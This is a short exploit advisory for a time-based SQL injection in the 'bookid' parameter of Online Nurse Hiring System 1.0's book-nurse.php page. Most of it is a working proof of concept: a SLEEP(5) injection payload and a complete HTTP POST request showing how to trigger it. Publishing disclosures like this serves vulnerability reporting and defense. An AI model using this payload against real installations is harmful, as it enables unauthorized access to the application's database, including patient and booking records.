Online Nurse Hiring System 1.0 SQL Injection

`# Exploit Title: Online Nurse Hiring System 1.0 - 'bookid' Time-Based SQL Injection  
# Date: 03/10/2023  
# Exploit Author: Alperen Yozgat  
# Vendor Homepage: https://phpgurukul.com/online-nurse-hiring-system-using-php-and-mysql  
# Software Link: https://phpgurukul.com/?sdm_process_download=1&download_id=17826  
# Version: 1.0  
# Tested On: Kali Linux 6.1.27-1kali1 (2023-05-12) x86_64 + XAMPP 7.4.30  
  
## Description ##  
  
On the book-nurse.php page, the bookid parameter is vulnerable to SQL Injection vulnerability.  
  
## Proof of Concept ##  
  
# After sending the payload, the response time will increase to at least 5 seconds.  
# Payload: 1'+AND+(SELECT+2667+FROM+(SELECT(SLEEP(5)))RHGJ)+AND+'vljY'%3d'vljY  
  
POST /onhs/book-nurse.php?bookid=1'+AND+(SELECT+2667+FROM+(SELECT(SLEEP(5)))RHGJ)+AND+'vljY'%3d'vljY HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 140  
Cookie: PHPSESSID=0ab508c4aa5fdb6c55abb909e5cbce09  
  
contactname=test&contphonenum=1111111&contemail=test%40test.com&fromdate=2023-10-11&todate=2023-10-18&timeduration=1&patientdesc=3&submit=  
  
`